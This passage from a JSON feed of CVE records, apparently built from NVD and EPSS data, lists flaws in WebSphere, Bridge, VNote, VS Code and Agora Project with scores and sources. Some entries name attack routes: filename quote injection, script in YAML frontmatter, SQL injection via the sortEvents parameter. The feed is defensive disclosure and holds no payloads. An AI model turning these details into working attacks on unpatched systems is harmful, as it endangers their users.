this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105443&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105443, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105442","cveId":"CVE-2026-105442","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of...","summary":"IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of service caused by an insecure deserialization in the messaging service.","detail":"IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 Liberty could allow a remote attacker to cause a denial of service caused by an insecure deserialization in the messaging service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:26.913Z","updatedAt":"2026-10-14T17:18:15.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105442","asOf":"2026-10-14T17:18:15.073Z"},"epss":{"probability":0.00395,"percentile":0.33398,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105442","type":"primary","publishedAt":"2026-10-13T21:17:26.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101294","cveId":"CVE-2026-101294","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic...","summary":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic signature verification due to improper verification of cryptographic signature.","detail":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic signature verification due to improper verification of cryptographic signature.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:17.007Z","updatedAt":"2026-10-14T16:08:15.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101294","asOf":"2026-10-14T16:08:15.347Z"},"epss":{"probability":0.00213,"percentile":0.11494,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101294&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101294","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101294","type":"primary","publishedAt":"2026-10-13T21:17:17.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101294&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101294, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100129","cveId":"CVE-2026-100129","aliases":[],"kind":"vulnerability","title":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:14.983Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100129","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00141,"percentile":0.03402,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100129&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100129","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100129","type":"primary","publishedAt":"2026-10-13T21:17:14.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100129&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100129, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100128","cveId":"CVE-2026-100128","aliases":[],"kind":"vulnerability","title":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:14.870Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100128","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00141,"percentile":0.03403,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100128","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100128","type":"primary","publishedAt":"2026-10-13T21:17:14.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100127","cveId":"CVE-2026-100127","aliases":[],"kind":"vulnerability","title":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:14.753Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100127","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00141,"percentile":0.03402,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100127","type":"primary","publishedAt":"2026-10-13T21:17:14.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86022","cveId":"CVE-2026-86022","aliases":[],"kind":"vulnerability","title":"VNote is a note-taking platform.","summary":"VNote is a note-taking platform. Prior to 4.3.0, SessionConfig::ExternalProgram::fetchCommand wraps a note path in double quotes and substitutes it into a command string that QProcess::start(const QString&) reparses into arguments through ProcessUtils::startDetached. The automatic path in src/controllers/viewareacontroller.cpp and the Open With path in src/controllers/notebooknodecontroller.cpp both reach this sink. On Linux and macOS, an attacker-controlled double quote in a POSIX note filename can terminate the quoted path and add arguments to the victim's configured external program. If the configured program supports an argument that executes commands, such as the vim or gvim -c option, the injected arguments can execute arbitrary commands as the user. This issue is fixed in version 4.3.0.","detail":"VNote is a note-taking platform. Prior to 4.3.0, SessionConfig::ExternalProgram::fetchCommand wraps a note path in double quotes and substitutes it into a command string that QProcess::start(const QString&) reparses into arguments through ProcessUtils::startDetached. The automatic path in src/controllers/viewareacontroller.cpp and the Open With path in src/controllers/notebooknodecontroller.cpp both reach this sink. On Linux and macOS, an attacker-controlled double quote in a POSIX note filename can terminate the quoted path and add arguments to the victim's configured external program. If the configured program supports an argument that executes commands, such as the vim or gvim -c option, the injected arguments can execute arbitrary commands as the user. This issue is fixed in version 4.3.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:18:55.473Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86022","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0021,"percentile":0.11152,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86022","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86022","type":"primary","publishedAt":"2026-10-13T20:18:55.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86016","cveId":"CVE-2026-86016","aliases":[],"kind":"vulnerability","title":"VNote is a note-taking platform.","summary":"VNote is a note-taking platform. Prior to 4.3.0, VNote uses the assignment `preNode.innerHTML = p_metaData` in src/data/extra/web/js/markdownit.js to insert YAML frontmatter metadata into a pre element before the protectFromXss sanitization path runs. Opening an attacker-supplied Markdown note can therefore execute stored JavaScript in the file:// viewer context. Because QWebEngineSettings::LocalContentCanAccessRemoteUrls enables local content to access remote URLs, the script can read reachable local note files and transmit their contents to a remote server without further interaction after the note is opened. This issue is fixed in version 4.3.0.","detail":"VNote is a note-taking platform. Prior to 4.3.0, VNote uses the assignment `preNode.innerHTML = p_metaData` in src/data/extra/web/js/markdownit.js to insert YAML frontmatter metadata into a pre element before the protectFromXss sanitization path runs. Opening an attacker-supplied Markdown note can therefore execute stored JavaScript in the file:// viewer context. Because QWebEngineSettings::LocalContentCanAccessRemoteUrls enables local content to access remote URLs, the script can read reachable local note files and transmit their contents to a remote server without further interaction after the note is opened. This issue is fixed in version 4.3.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:18:55.303Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86016","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00224,"percentile":0.12889,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86016","type":"primary","publishedAt":"2026-10-13T20:18:55.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70098","cveId":"CVE-2026-70098","aliases":[],"kind":"vulnerability","title":"Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network.","summary":"Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network.","detail":"Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:48.553Z","updatedAt":"2026-10-15T20:39:54.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70098","asOf":"2026-10-15T20:39:54.150Z"},"epss":{"probability":0.00584,"percentile":0.47633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70098&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70098","type":"primary","publishedAt":"2026-10-13T20:17:48.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70098&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70098, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63174","cveId":"CVE-2026-63174","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because...","summary":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because the spaceAffectList affectation was performed without verifying the caller's rights to the target space. Attackers can exploit the missing readRight() check in the import flow's join INSERT to break tenant isolation and manipulate user-space assignments across unauthorized spaces.","detail":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a space administrator to assign users into spaces outside their authority because the spaceAffectList affectation was performed without verifying the caller's rights to the target space. Attackers can exploit the missing readRight() check in the import flow's join INSERT to break tenant isolation and manipulate user-space assignments across unauthorized spaces.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:32.217Z","updatedAt":"2026-10-17T02:17:20.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63174","asOf":"2026-10-17T02:17:20.510Z"},"epss":{"probability":0.00247,"percentile":0.15887,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63174&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63174","type":"primary","publishedAt":"2026-10-13T20:17:32.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63174&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63174, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63172","cveId":"CVE-2026-63172","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the...","summary":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the user-edit action without a function-level authorization check. Attackers can exploit the missing editRight() enforcement in actionVueEditUser to create unauthorized user accounts, leading to privilege escalation.","detail":"Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability that allows a regular, non-administrative member to create user accounts by invoking the user-edit action without a function-level authorization check. Attackers can exploit the missing editRight() enforcement in actionVueEditUser to create unauthorized user accounts, leading to privilege escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:32.080Z","updatedAt":"2026-10-18T13:16:39.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63172","asOf":"2026-10-18T13:16:39.487Z"},"epss":{"probability":0.00207,"percentile":0.10698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63172&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63172","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63172","type":"primary","publishedAt":"2026-10-13T20:17:32.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63172&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63172, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63165","cveId":"CVE-2026-63165","aliases":[],"kind":"vulnerability","title":"Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the...","summary":"Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the sortEvents parameter, which is concatenated into the ORDER BY clause without sanitization in app/ModCalendar/CtrlCalendar.php. Attackers can exploit this flaw using error-based techniques such as extractvalue payloads to extract database information, including version data, from the underlying system.","detail":"Omnispace Agora Project before 26.10.0 contains a SQL injection vulnerability in the calendar functionality that allows attackers to inject malicious SQL by manipulating the sortEvents parameter, which is concatenated into the ORDER BY clause without sanitization in app/ModCalendar/CtrlCalendar.php. Attackers can exploit this flaw using error-based techniques such as extractvalue payloads to extract database information, including version data, from the underlying system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:31.947Z","updatedAt":"2026-10-18T13:16:39.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63165","asOf":"2026-10-18T13:16:39.210Z"},"epss":{"probability":0.00305,"percentile":0.23105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63165&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63165","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63165","type":"primary","publishedAt":"2026-10-13T20:17:31.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page 